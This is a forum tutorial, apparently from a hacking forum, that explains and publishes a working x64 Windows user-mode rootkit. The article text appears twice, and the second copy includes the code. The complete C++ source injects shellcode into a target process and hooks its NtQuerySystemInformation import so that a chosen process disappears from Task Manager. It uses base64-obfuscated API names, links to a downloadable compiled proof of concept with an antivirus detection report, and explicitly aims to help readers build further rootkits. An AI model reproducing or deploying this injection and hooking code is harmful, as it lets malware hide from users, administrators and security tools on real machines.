The topic of this article fits on Topics: Techniques for countering security software, hiding malicious code and Reversing: analysis and modification of malicious code.
Dissecting a RootKit...
A RootKit is a compilation of software utilities that allows either the access to some location of a computer or its software that would not normally be permitted. It can also change the behavior of regular applications in a way that is not supposed to be possible in normal circumstances.
Rootkits are nothing new; the techniques to code them are very well established but you don't see that many examples as to comfortably set the ground base to start coding one. x64 oriented examples are scarce in fact, so I believe a thorough analysis of how they work could be useful to gain confidence in further developing them. I came across a sample that was very interesting, because it could inject shellcode into another process to hide itself from it. I proceeded to obtain the pseudo code, then recreate the functionality and compile it as an stand alone tool. This rootkit is only for x64 targets but I am sure there should be a version for x86 since there are some preparation functions before the rootkit action takes place that lead me to believe that it is the case. However, because of probable conditional compiling, the code for x86 is not there but just with some small modifications to certain API calls should suffice to make it work for that platform too. I took care of adding custom error reporting not just to catch errors as such, but mainly to explain what is the purpose of each function. So, you won't see commented text, but instead, by reading the error message after each API call you can tell what is the purpose of that particular piece of code. To complement the tutorial I recorded a video as a demonstration of the proof of concept and also to show how and which tools should you use to monitor the proper functioning of this kind of application. After all, code is injected into another process, so its not immediately accessible from the IDE debugger. Having this in mind I also added some information about the memory address in the remote process where the shellcode will be injected so we can then monitor the results.
The RootKit is limited, because it only hides a single process from being listed through monitoring tools. It does not hide registry keys, listing of files in disk, etc. Windows provides several means of enumerating running processes in its API library. The most common and widely used is probably CreateToolhelp32Snapshot paired with Process32First and Process32Next. There are other API functions for this purpose too like EnumProcess and WTSEnumerateProcessesEx which are macros around the ASCII and UTF-16 versions of each one of these functions. WTSEnumerateProcessesEx is very particular because it allows to obtain information about active processes on a specified Remote Desktop Session Host. This API is declared in wtsapi32.h header. Last but not least, NtQuerySystemInformation which is a private native API function from Microsoft (MS) that is officially not documented. Through reverse engineering and some Microsoft kindness, however, a lot is known about this versatile function. Microsoft discourages the use of Native API functions because their implementation can change at any time but to be honest I don't believe this one is going to change at least, not at any time soon, since many MS tools use it. Among these tools, Task Manager and Process Explorer in particular but also Process Hacker; all three rely on this API to gather a lot of information from the system which includes but is not limited to, the active running processes. One advantage over the others mentioned in this article is that NtQuerySystemInformation does not require great privileges to obtain the information. EnumProcess, in contrast, requires elevation and also DebugPrivilege to fully show all the information requested by it. NtQuerySystemInformation, is a favorite API for RootKits. The fact that Windows Task Manager uses it to explore the active running processes makes it the perfect target, to run malware unnoticed. NtQuerySystemInformation and its structures are declared in winternl.h but there is also a lot more information in the Process Hacker Project in GitHub that can be consulted.
These are the needed structures and declaration required to call this API:
The important fields are: ImageName, which is the name of the running process that is being examined. Notice this field is of the type _UNICODE_STRING which is also an structure, so you have to have this in mind when you need to parse it. Finally, NextEntryOffset which is the number of bytes to add to the previous SystemInformation pointer parameter (see function declaration) to get to the next SYSTEM_PROCESS_INFORMATION (SPI) structure. The reason for this is because there is one _SYSTEM_PROCESS_INFORMATION structure for each process and also one structure following this SPI structure for each existing thread in each one process, therefore you need to rely in these offsets to determine where in memory the SPI structure belonging to the next running process will be located.
In regard to the function as such, the parameter that tells what information is being requested is the SystemInformationClass, or what is the same to say, its first parameter. If this parameter is equal to 0x5 then it knows that a system process enumeration task has been requested. As I said, you can request a lot of different information from this native API but for the purpose of this tutorial we will concentrate only in the aforementioned.
Now that we know all the theory lets see some code, and again, each step contains an error reporting function that serves also the purpose (besides the obvious) to help understanding the code. There is no commented text, please read the message in each error function to understand what the previous function is used for.
I want to center your attention in the shellcode because it is the core of the whole thing. Its good to see the shellcode compiled, because creating and understanding shellcode is no trivial task even for the experienced. What I recommend you do is follow the steps in the video tutorial and at the point where I am checking the injected code in memory, attach x64dbg (x64 version of it running elevated) to Task Manager, press Ctrl-G and type the remote memory address where the shellcode was injected and hit Enter. You will be able to see what is going on. Basically lp_api_address_bytes contains the original address for NtQuerySystemInformation. The shellcode is edited to add this memory address and also the name of the process to be hidden. The shellcode will first execute the original API and check the parameter ystemInformationClass; if its 0x5, SPI has been requested, if not it just returns to caller; it will then compare the process to hide with the data stored in the SPI structure, if they match then it will advance the pointer by modifying the NextEntryOffset field to the next SPI structure bypassing the current one and in this way the next process in the list will be delivered and not the one we intend to hide. At return, one SPI will be missing, the one belonging to the one process we wanted to hide.
Please now follow along with the video tutorial part where you can see this POC in action and how to monitor it.
Once you have finished the video I hope that you have achieved a better understanding of one small aspect about how RootKits work. Thanks for taking your time to read this paper.
At the moment of this writing this is the AV static report of the compiled source code:
Source Code and compiled POC:
anonfiles.com
Dissecting a RootKit...
A RootKit is a compilation of software utilities that allows either the access to some location of a computer or its software that would not normally be permitted. It can also change the behavior of regular applications in a way that is not supposed to be possible in normal circumstances.
Rootkits are nothing new; the techniques to code them are very well established but you don't see that many examples as to comfortably set the ground base to start coding one. x64 oriented examples are scarce in fact, so I believe a thorough analysis of how they work could be useful to gain confidence in further developing them. I came across a sample that was very interesting, because it could inject shellcode into another process to hide itself from it. I proceeded to obtain the pseudo code, then recreate the functionality and compile it as an stand alone tool. This rootkit is only for x64 targets but I am sure there should be a version for x86 since there are some preparation functions before the rootkit action takes place that lead me to believe that it is the case. However, because of probable conditional compiling, the code for x86 is not there but just with some small modifications to certain API calls should suffice to make it work for that platform too. I took care of adding custom error reporting not just to catch errors as such, but mainly to explain what is the purpose of each function. So, you won't see commented text, but instead, by reading the error message after each API call you can tell what is the purpose of that particular piece of code. To complement the tutorial I recorded a video as a demonstration of the proof of concept and also to show how and which tools should you use to monitor the proper functioning of this kind of application. After all, code is injected into another process, so its not immediately accessible from the IDE debugger. Having this in mind I also added some information about the memory address in the remote process where the shellcode will be injected so we can then monitor the results.
The RootKit is limited, because it only hides a single process from being listed through monitoring tools. It does not hide registry keys, listing of files in disk, etc. Windows provides several means of enumerating running processes in its API library. The most common and widely used is probably CreateToolhelp32Snapshot paired with Process32First and Process32Next. There are other API functions for this purpose too like EnumProcess and WTSEnumerateProcessesEx which are macros around the ASCII and UTF-16 versions of each one of these functions. WTSEnumerateProcessesEx is very particular because it allows to obtain information about active processes on a specified Remote Desktop Session Host. This API is declared in wtsapi32.h header. Last but not least, NtQuerySystemInformation which is a private native API function from Microsoft (MS) that is officially not documented. Through reverse engineering and some Microsoft kindness, however, a lot is known about this versatile function. Microsoft discourages the use of Native API functions because their implementation can change at any time but to be honest I don't believe this one is going to change at least, not at any time soon, since many MS tools use it. Among these tools, Task Manager and Process Explorer in particular but also Process Hacker; all three rely on this API to gather a lot of information from the system which includes but is not limited to, the active running processes. One advantage over the others mentioned in this article is that NtQuerySystemInformation does not require great privileges to obtain the information. EnumProcess, in contrast, requires elevation and also DebugPrivilege to fully show all the information requested by it. NtQuerySystemInformation, is a favorite API for RootKits. The fact that Windows Task Manager uses it to explore the active running processes makes it the perfect target, to run malware unnoticed. NtQuerySystemInformation and its structures are declared in winternl.h but there is also a lot more information in the Process Hacker Project in GitHub that can be consulted.
These are the needed structures and declaration required to call this API:
Код:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize; // since VISTA
ULONG HardFaultCount; // since WIN7
ULONG NumberOfThreadsHighWatermark; // since WIN7
ULONGLONG CycleTime; // since WIN7
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
int BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION;
extern "C" NTSTATUS NTAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
The important fields are: ImageName, which is the name of the running process that is being examined. Notice this field is of the type _UNICODE_STRING which is also an structure, so you have to have this in mind when you need to parse it. Finally, NextEntryOffset which is the number of bytes to add to the previous SystemInformation pointer parameter (see function declaration) to get to the next SYSTEM_PROCESS_INFORMATION (SPI) structure. The reason for this is because there is one _SYSTEM_PROCESS_INFORMATION structure for each process and also one structure following this SPI structure for each existing thread in each one process, therefore you need to rely in these offsets to determine where in memory the SPI structure belonging to the next running process will be located.
In regard to the function as such, the parameter that tells what information is being requested is the SystemInformationClass, or what is the same to say, its first parameter. If this parameter is equal to 0x5 then it knows that a system process enumeration task has been requested. As I said, you can request a lot of different information from this native API but for the purpose of this tutorial we will concentrate only in the aforementioned.
Now that we know all the theory lets see some code, and again, each step contains an error reporting function that serves also the purpose (besides the obvious) to help understanding the code. There is no commented text, please read the message in each error function to understand what the previous function is used for.
Код:
#include <cstdio>
#include <Windows.h>
#include <winternl.h>
#include "base64.h"
#pragma comment (lib, "ntdll")
int error(const char* err_msg)
{
printf("%s (Error Code: %lu)\n", err_msg, GetLastError());
return TRUE;
}
int main(const int argc, char** argv)
{
if (argc != 3) return FALSE;
const DWORD dw_target_process_id = atoi(argv[1]);
const LPCSTR sz_process_name = argv[2];
const DWORD dw_process_name_length = strlen(sz_process_name) + 1;
HANDLE h_process;
if (!((h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dw_target_process_id))))
{
error("Could not open target process...");
return FALSE;
}
BYTE b_process_basic_info[sizeof(PROCESS_BASIC_INFORMATION)] = {0};
ULONG ul_written_size = 0;
if (NtQueryInformationProcess(h_process, ProcessBasicInformation, b_process_basic_info,
sizeof(PROCESS_BASIC_INFORMATION), &ul_written_size) || ul_written_size != sizeof
(PROCESS_BASIC_INFORMATION))
{
error("NtQueryInformationProcess on target process failed...");
return FALSE;
}
SIZE_T st_read_bytes = 0;
BYTE b_peb[sizeof(PEB)] = {0};
const auto lp_process_basic_info = reinterpret_cast<PPROCESS_BASIC_INFORMATION>(b_process_basic_info);
if (!ReadProcessMemory(h_process, lp_process_basic_info->PebBaseAddress, b_peb, sizeof(b_peb), &st_read_bytes) ||
st_read_bytes != sizeof b_peb)
{
error("Could not read PEB base address...");
return FALSE;
}
LPVOID lp_main_module = nullptr;
const auto lp_peb = reinterpret_cast<PPEB>(b_peb);
if (!ReadProcessMemory(h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_peb->Ldr) + 0x10),
&lp_main_module, sizeof lp_main_module, &st_read_bytes) || st_read_bytes != sizeof
lp_main_module)
{
error("Could not read module base address...");
return FALSE;
}
LPVOID lp_image_base = nullptr;
if (!ReadProcessMemory(h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_main_module) + 0x30),
&lp_image_base, sizeof lp_image_base, &st_read_bytes) || st_read_bytes != sizeof lp_image_base)
{
error("Could not read module image base...");
return FALSE;
}
BYTE b_dos_header[sizeof(IMAGE_DOS_HEADER)] = {0};
if (!ReadProcessMemory(h_process, lp_image_base, b_dos_header, sizeof b_dos_header, &st_read_bytes) ||
st_read_bytes != sizeof b_dos_header)
{
error("Error getting IMAGE_NT_HEADERS...");
return FALSE;
}
BYTE b_nt_header[sizeof(IMAGE_NT_HEADERS)] = {0};
const auto lp_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(b_dos_header);
if (!ReadProcessMemory(
h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_image_base) + lp_dos_header->e_lfanew),
b_nt_header, sizeof b_nt_header, &st_read_bytes) || st_read_bytes != sizeof b_nt_header)
{
error("Could not read at e_lfanew location...");
return FALSE;
}
CHAR sz_mod_name[MAX_PATH] = {0};
const auto lp_nt_header = reinterpret_cast<PIMAGE_NT_HEADERS>(b_nt_header);
DWORD dw_import_data_rva = lp_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress;
PIMAGE_IMPORT_DESCRIPTOR lp_import_at;
//Looking for ntdll.dll
do
{
BYTE b_import_data[sizeof(IMAGE_IMPORT_DESCRIPTOR)] = {0};
if (!ReadProcessMemory(
h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_image_base) + dw_import_data_rva),
b_import_data, sizeof b_import_data, &st_read_bytes) || st_read_bytes != sizeof b_import_data)
{
error("Could not read IMPORT DESCRIPTORS...");
return FALSE;
}
lp_import_at = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(b_import_data);
if (!ReadProcessMemory(
h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_image_base) + lp_import_at->Name),
sz_mod_name, sizeof sz_mod_name, &st_read_bytes) || st_read_bytes != sizeof sz_mod_name)
{
error("Could not read module name...");
return FALSE;
}
dw_import_data_rva += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
while (strcmp(sz_mod_name, base64_decode("bnRkbGwuZGxs").c_str()) != 0);
CHAR sz_api_name[MAX_PATH] = {0};
PIMAGE_THUNK_DATA lp_thunk_data;
DWORD dw_thunk_data_rva = lp_import_at->OriginalFirstThunk;
//Looking for NtQueryInformationProcess
do
{
BYTE b_thunk_data[sizeof(IMAGE_THUNK_DATA)] = {0};
if (!ReadProcessMemory(
h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_image_base) + dw_thunk_data_rva),
b_thunk_data, sizeof(b_thunk_data), &st_read_bytes) || st_read_bytes != sizeof b_thunk_data)
{
error("Could not read IMAGE_THUNK_DATA...");
return FALSE;
}
lp_thunk_data = reinterpret_cast<PIMAGE_THUNK_DATA>(b_thunk_data);
if (!IMAGE_SNAP_BY_ORDINAL(lp_thunk_data->u1.Ordinal))
{
if (!ReadProcessMemory(
h_process,
reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_image_base) + lp_thunk_data->u1.
AddressOfData
+ sizeof(WORD)), sz_api_name, sizeof sz_api_name, &st_read_bytes) || st_read_bytes != sizeof
sz_api_name)
{
error("Could not read API name...");
return FALSE;
}
}
dw_thunk_data_rva += sizeof(IMAGE_THUNK_DATA);
}
while (strcmp(sz_api_name, base64_decode("TnRRdWVyeVN5c3RlbUluZm9ybWF0aW9u").c_str()) != 0);
const DWORD dw_target_thunk_offset = dw_thunk_data_rva - lp_import_at->OriginalFirstThunk - sizeof(
IMAGE_THUNK_DATA);
const DWORD dw_target_thunk_rva = lp_import_at->FirstThunk + dw_target_thunk_offset;
const auto lp_target_thunk_address = reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_image_base) +
dw_target_thunk_rva);
BYTE b_thunk_data[sizeof(IMAGE_THUNK_DATA)] = {0};
if (!ReadProcessMemory(h_process, lp_target_thunk_address, b_thunk_data, sizeof b_thunk_data, &st_read_bytes) ||
st_read_bytes != sizeof b_thunk_data)
{
error("Thunk data address not could not be read...");
return FALSE;
}
lp_thunk_data = reinterpret_cast<PIMAGE_THUNK_DATA>(b_thunk_data);
const auto lp_api_address_bytes = reinterpret_cast<PBYTE>(&lp_thunk_data->u1.AddressOfData);
/* Shellcode - Skip SPI if FileName equals to the process to hide, in such case advance to next element
push rcx //Save registers
push rdx
mov rax,<ntdll.RtlGetNativeSystemInformation> //Load address of original API first
call rax //Call original API
pop rdx
pop rcx
test rax,rax //Successful call?
jne 22F5DAF0070
cmp rcx,5 //Decide if SPI is requested
jne 22F5DAF0070
mov r10d,dword ptr ds:[rdx]
add rdx,r10
lea rcx,qword ptr ds:[22F5DAF0028]
add rcx,49 //Get name of process to hide
mov r8,rdx
add r8,40 //Get current process name from SPI
mov r8,qword ptr ds:[r8]
mov r9b,byte ptr ds:[rcx]
cmp r9b,byte ptr ds:[r8] //Compare one byte of both processes names
jne 22F5DAF0065 //Decide if they match
test r9b,r9b
jne 22F5DAF005B
mov r9d,dword ptr ds:[rdx]
sub rdx,r10
test r9d,r9d
jne 22F5DAF0056
mov dword ptr ds:[rdx],0 //Adjust previous SPI structure offset
jmp 22F5DAF0070
add dword ptr ds:[rdx],r9d //Adjust current SPI structure offset to point to next SPI
jmp 22F5DAF0065
add rcx,1
add r8,2
jmp 22F5DAF0036
mov r10d,dword ptr ds:[rdx]
add rdx,r10
test r10d,r10d
jne 22F5DAF
0021 //Loop back to keep testing if the names match
ret */
const unsigned char shell_code[] = {
0x51, 0x52, 0x48, 0xB8, lp_api_address_bytes[0], lp_api_address_bytes[1], lp_api_address_bytes[2],
lp_api_address_bytes[3], lp_api_address_bytes[4], lp_api_address_bytes[5], lp_api_address_bytes[6],
lp_api_address_bytes[7], 0xFF, 0xD0, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x75, 0x5B, 0x48, 0x83, 0xf9,
static_cast<BYTE>(SystemProcessInformation), 0x75, 0x55, 0x44, 0x8B, 0x12, 0x4C, 0x01, 0xD2, 0x48, 0x8D, 0x0D,
0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x49, 0x49, 0x89, 0xD0, 0x49, 0x83, 0xC0,
static_cast<BYTE>((offsetof(SYSTEM_PROCESS_INFORMATION, ImageName) + offsetof(UNICODE_STRING, Buffer))), 0x4D,
0x8B, 0x00, 0x44, 0x8A, 0x09, 0x45, 0x3A, 0x08, 0x75, 0x27, 0x45, 0x84, 0xC9, 0x75, 0x18, 0x44, 0x8B, 0x0A,
0x4C, 0x29, 0xD2, 0x45, 0x85, 0xC9, 0x75, 0x08, 0xC7, 0x02, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x1A, 0x44, 0x01,
0x0A, 0xEB, 0x0A, 0x48, 0x83, 0xC1, 0x01, 0x49, 0x83, 0xC0, 0x02, 0xEB, 0xD1, 0x44, 0x8B, 0x12, 0x4C, 0x01,
0xD2, 0x45, 0x85, 0xD2, 0x75, 0xB1, 0xC3
};
LPVOID lp_shell_code_address;
if (!((lp_shell_code_address = VirtualAllocEx(h_process, nullptr, sizeof shell_code + dw_process_name_length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ))))
{
error("Allocating memory for shellcode failed...");
return FALSE;
}
else
{
printf("Shellcode will be allocate at: 0x%p\n", lp_shell_code_address);
}
SIZE_T st_written_bytes = 0;
if (!WriteProcessMemory(h_process, lp_shell_code_address, shell_code, sizeof shell_code, &st_written_bytes) ||
st_written_bytes != sizeof shell_code)
{
error("Error writing shellcode...");
return FALSE;
}
if (!WriteProcessMemory(
h_process, reinterpret_cast<LPVOID>(reinterpret_cast<ULONGLONG>(lp_shell_code_address) + sizeof shell_code),
sz_process_name, dw_process_name_length, &st_written_bytes) || st_written_bytes != dw_process_name_length)
{
error("Error writing process name...");
return FALSE;
}
MEMORY_BASIC_INFORMATION st_mbi = {nullptr};
if (!VirtualQueryEx(h_process, lp_target_thunk_address, &st_mbi, sizeof st_mbi))
{
error("Checking memory space in target process failed...");
return FALSE;
}
DWORD dw_old_protect = 0;
if (st_mbi.Protect != PAGE_EXECUTE_READWRITE && st_mbi.Protect != PAGE_EXECUTE_WRITECOPY && st_mbi.Protect !=
PAGE_READWRITE && st_mbi.Protect != PAGE_WRITECOPY)
{
if (!VirtualProtectEx(h_process, lp_target_thunk_address, sizeof lp_thunk_data->u1.AddressOfData,
PAGE_EXECUTE_READWRITE, &dw_old_protect) || dw_old_protect != st_mbi.Protect)
{
error("Error changing Thunk Address of Data protection...");
return FALSE;
}
}
if (!WriteProcessMemory(h_process, lp_target_thunk_address, &lp_shell_code_address, sizeof lp_shell_code_address,
&st_written_bytes) || st_written_bytes != sizeof lp_shell_code_address)
{
error("Error writing hook address of NtQuerySystemInformation shellcode...");
return FALSE;
}
if (dw_old_protect)
{
if (!VirtualProtectEx(h_process, lp_target_thunk_address, sizeof lp_thunk_data->u1.AddressOfData,
st_mbi.Protect, &dw_old_protect))
{
error("Error restoring hook address of NtQuerySystemInformation original protection attributes...");
return FALSE;
}
}
CloseHandle(h_process);
return TRUE;
}
I want to center your attention in the shellcode because it is the core of the whole thing. Its good to see the shellcode compiled, because creating and understanding shellcode is no trivial task even for the experienced. What I recommend you do is follow the steps in the video tutorial and at the point where I am checking the injected code in memory, attach x64dbg (x64 version of it running elevated) to Task Manager, press Ctrl-G and type the remote memory address where the shellcode was injected and hit Enter. You will be able to see what is going on. Basically lp_api_address_bytes contains the original address for NtQuerySystemInformation. The shellcode is edited to add this memory address and also the name of the process to be hidden. The shellcode will first execute the original API and check the parameter ystemInformationClass; if its 0x5, SPI has been requested, if not it just returns to caller; it will then compare the process to hide with the data stored in the SPI structure, if they match then it will advance the pointer by modifying the NextEntryOffset field to the next SPI structure bypassing the current one and in this way the next process in the list will be delivered and not the one we intend to hide. At return, one SPI will be missing, the one belonging to the one process we wanted to hide.
Please now follow along with the video tutorial part where you can see this POC in action and how to monitor it.
Once you have finished the video I hope that you have achieved a better understanding of one small aspect about how RootKits work. Thanks for taking your time to read this paper.
At the moment of this writing this is the AV static report of the compiled source code:
Source Code and compiled POC:
Disecting a RootKit.zip - AnonFiles
Последнее редактирование: